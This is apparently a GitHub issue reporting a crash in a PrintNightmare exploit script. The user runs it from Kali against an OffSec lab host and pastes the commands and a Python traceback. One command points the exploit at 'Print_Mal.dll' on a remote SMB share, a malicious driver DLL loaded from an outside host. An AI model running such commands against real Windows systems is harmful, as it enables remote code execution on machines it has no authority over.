Skip to content

All kinds of error message.s #5

@ZackInMA

Description

@ZackInMA

Tested against a known vulnerable host. All the necessary dependencies in place.

──(kali㉿Kali1)-[~/…/Tools/Windows/PrintNightmare/PrintNightmare]
└─$ python ./printnightmare.py -check 'offsec:lab@192.168.215.10' 1 ⨯
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target appears to be vulnerable!

┌──(kali㉿Kali1)-[~/…/Tools/Windows/PrintNightmare/PrintNightmare]
└─$ python ./printnightmare.py -dll '\192.168.119.215\share\Print_Mal.dll' 'offsec:lab@192.168.215.10' 1 ⨯
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Enumerating printer drivers
Traceback (most recent call last):
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 760, in
print_nightmare.exploit(options.name, options.env, options.path, options.dll)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 466, in exploit
driver_path = self.getDriverPath(dce, environment)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 370, in getDriverPath
drivers = self.list(environment, dce)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 389, in list
resp = hRpcEnumPrinterDrivers(dce, NULL, environment, 2)
File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 264, in hRpcEnumPrinterDrivers
request["pDrivers"] = b"\0" * bytesNeeded
UnboundLocalError: local variable 'bytesNeeded' referenced before assignment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions